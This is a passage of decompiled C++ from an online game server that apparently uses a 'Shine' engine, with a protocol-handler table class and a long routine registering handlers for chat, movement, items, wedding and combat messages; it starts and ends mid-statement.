PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 43, 45, GameDBSession::gds_NC_DICE_TAISAI_DB_ITEM_ID_CHANGE_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( pf, 45, 18, GameDBSession::gds_NC_USER_CONNECTION_DB_CHANGE_CHAR_ID_ITEM_USE_ACK); } //----- (0049B6C0) -------------------------------------------------------- void __thiscall PROTOCOLFUNCTIONTEMPLETE::_PROTOCOLFUNCTIONTEMPLETE(PROTOCOLFUNCTIONTEMPLETE *this) { char *v1; // ebx@1 void **v2; // esi@1 signed int v3; // edi@1 this->vfptr = (PROTOCOLFUNCTIONTEMPLETEVtbl *)PROTOCOLFUNCTIONTEMPLETE::_vftable_; v1 = (char *)this->4100; v2 = (void **)this->pft_funcpnt; v3 = 1024; do { if ( *v2 != v1 ) operator delete__(*v2); ++v2; --v3; } while ( v3 ); } // 5BD718: using guessed type int (__thiscall *PROTOCOLFUNCTIONTEMPLETE_void ___thiscall ShineObjectClass__ShinePlayer_____NETCOMMAND __int_unsigned short_____vftable_[5])(void *p, char); //----- (0049B6F0) -------------------------------------------------------- void __thiscall PROTOCOLFUNCTIONTEMPLETE::pft_Store(PROTOCOLFUNCTIONTEMPLETE *this, int depart, int command, void (__thiscall *pnt)(GameDBSession *, NETCOMMAND *, int)) { PROTOCOLFUNCTIONTEMPLETE *v4; // esi@1 signed int v5; // eax@2 v4 = this; if ( (void (__thiscall **)(GameDBSession *, NETCOMMAND *, int))this->pft_funcpnt[command] == this->4100 ) { this->pft_funcpnt[command] = (void (__thiscall **)(GameDBSession *, NETCOMMAND *, int))operator new__(0x100u); v5 = 0; do { v4->pft_funcpnt[command][v5] = v4->4356; v4->pft_funcpnt[command][v5 + 1] = v4->4356; v4->pft_funcpnt[command][v5 + 2] = v4->4356; v4->pft_funcpnt[command][v5 + 3] = v4->4356; v5 += 4; } while ( v5 < 64 ); } if ( v4->pft_funcpnt[command][depart] != v4->4356 ) { AssertClass::ac_AssertFail(&shineassert, "PROTOCOLFUNCTIONTEMPLETE::pft_Store : Duplicate protocol set", 0); ShineExit("PROTOCOLFUNCTIONTEMPLETE::pft_Store"); } v4->pft_funcpnt[command][depart] = pnt; } //----- (0049B7C0) -------------------------------------------------------- void *__thiscall PROTOCOLFUNCTIONTEMPLETE::_vector_deleting_destructor_(PROTOCOLFUNCTIONTEMPLETE *this, unsigned int a2) { void *v2; // esi@1 v2 = this; PROTOCOLFUNCTIONTEMPLETE::_PROTOCOLFUNCTIONTEMPLETE(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0049B7E0) -------------------------------------------------------- void __cdecl protocolstore(PROTOCOLFUNCTIONTEMPLETE *pf) { PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 6, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_MISC_SEED_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 4, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))InventoryLocking::InventoryCellLock::icl_OnlyLock); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 5, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))InventoryLocking::InventoryCellLock::icl_OnlyLock); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 18, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_MISC_PINGTEST_CLIENT_ZONE_DB); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 19, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_MISC_PINGTEST_TOOL_WM_CLIENT_ZONE_DB); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 23, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_MISC_HIDE_EXCEPT_ME_ON_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 24, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_MISC_HIDE_EXCEPT_ME_OFF_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 2, 47, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_MISC_SERVERPARAMETER_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 3, 24, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_USER_NORMALLOGOUT_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 3, 35, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_USER_REGISENUMBER_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 3, 50, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_USER_USE_BEAUTY_SHOP_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 78, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_CHAR_REVIVE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 92, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_CHAR_STAT_INCPOINT_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 98, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_CHAR_STAT_DECPOINT_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 113, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_CHAR_LOGOUTREADY_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 114, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_CHAR_LOGOUTCANCEL_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 176, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_CHAR_DEPOLYMORPH_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 185, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_CHAR_SAVE_LINK_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 188, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_CHAR_CLIENT_AUTO_PICK_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 16, 37, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_CHARSAVE_UI_STATE_SAVE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 7, 1, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_BRIEFINFO_INFORM_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 6, 1, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGIN_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 6, 3, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGINCOMPLETE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 6, 20, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_MAP_WING_SAVE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 6, 22, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_MAP_WING_FLY_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 6, 26, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_MAP_TOWNPORTAL_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 6, 28, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_MAP_TONORMALCOORD_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 1, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_CHAT_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 30, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_SHOUT_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 3, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_WALK_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 5, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_RUN_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 8, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_CHANGEMODE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 10, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_NPCCLICK_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 11, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_ENDOFTRADE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 18, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_STOP_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 23, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_MOVEWALK_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 25, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_MOVERUN_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 29, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_ACT_NPCMENUOPEN_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 32, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_EMOTICON_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 34, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_EMOTICONSTOP_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 36, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_JUMP_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 39, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_PITCHTENT_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 42, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_FOLDTENT_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 45, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_ACT_GATHERSTART_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 48, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_ACT_GATHERCANCEL_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 50, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_GATHERCOMPLETE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 53, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_ACT_PRODUCE_CAST_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 57, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_PRODUCE_CASTABORT_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 68, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_RIDE_FEEDING_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 75, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_ACT_ROAR_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 79, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_PROPOSEREQ_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 81, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_PROPOSEACK_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 83, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_HALL_RESERV_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 86, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_HALL_GUEST_ENTER_READY_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 88, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_HALL_GUEST_ENTER_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 91, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_AGREEMENT_DIVORCE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 92, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_COMPULSORY_DIVORCE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 94, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_WEDDING_DIVORCE_REFUSE_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 4, 147, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_CHAR_WEDDING_PARTNER_INFO_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 8, 103, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ACT_ACTIONBYITEM_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 15, 2, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_MENU_SERVERMENU_ACK); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 9, 1, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_BAT_TARGETTING_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 9, 3, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_BAT_HIT_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 9, 8, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_BAT_UNTARGET_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 9, 18, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_BAT_SMASH_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 9, 24, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLCAST_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 9, 28, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLCASTABORT_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 9, 43, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_BAT_BASHSTART_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 9, 50, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_BAT_BASHSTOP_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 9, 51, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLBASH_OBJ_CAST_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 9, 64, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLBASH_OBJ_CAST_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 9, 65, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLBASH_FLD_CAST_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 9, 68, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLBASH_CASTABORT_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 9, 62, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_BAT_ASSIST_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 9, 84, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_BAT_ABSTATE_ERASE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 3, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_ITEM_BUY_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 6, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_ITEM_SELL_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 11, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_ITEM_RELOC_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 13, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_ITEM_SPLIT_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 15, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ITEM_EQUIP_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 16, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ITEM_RINGEQUIP_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 18, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_ITEM_UNEQUIP_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 7, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_ITEM_DROP_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 9, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_ITEM_PICK_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 21, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ITEM_USE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 23, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_ITEM_UPGRADE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 25, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ITEM_USEABORT_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 28, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ITEM_DEPOSIT_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 30, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ITEM_WITHDRAW_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 34, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_ITEM_CHARGED_WITHDRAW_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 32, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ITEM_CHARGEDINVENOPEN_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 38, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_STORAGE_WITHDRAW_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 42, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))&ShineObjectClass::ShinePlayer::sp_NC_ITEM_DISMANTLE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 44, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ITEM_REWARDINVENOPEN_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 47, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 49, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 51, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ITEM_MH_FURNITURE_ENDURE_KIT_USE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 12, 53, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_ITEM_WEAPONENDURE_CHARGE_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 14, 72, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_PARTY_MEMBERINFOREQ_CMD); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 20, 1, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_HP_BUY_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 20, 2, (void (__thiscall *)(GameDBSession *, NETCOMMAND *, int))ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_SP_BUY_REQ); PROTOCOLFUNCTIONTEMPLETE::pft_Store( (PROTOCOLFUNCTIONTEMPLETE *)pf, 20, 7, (void (__thiscall 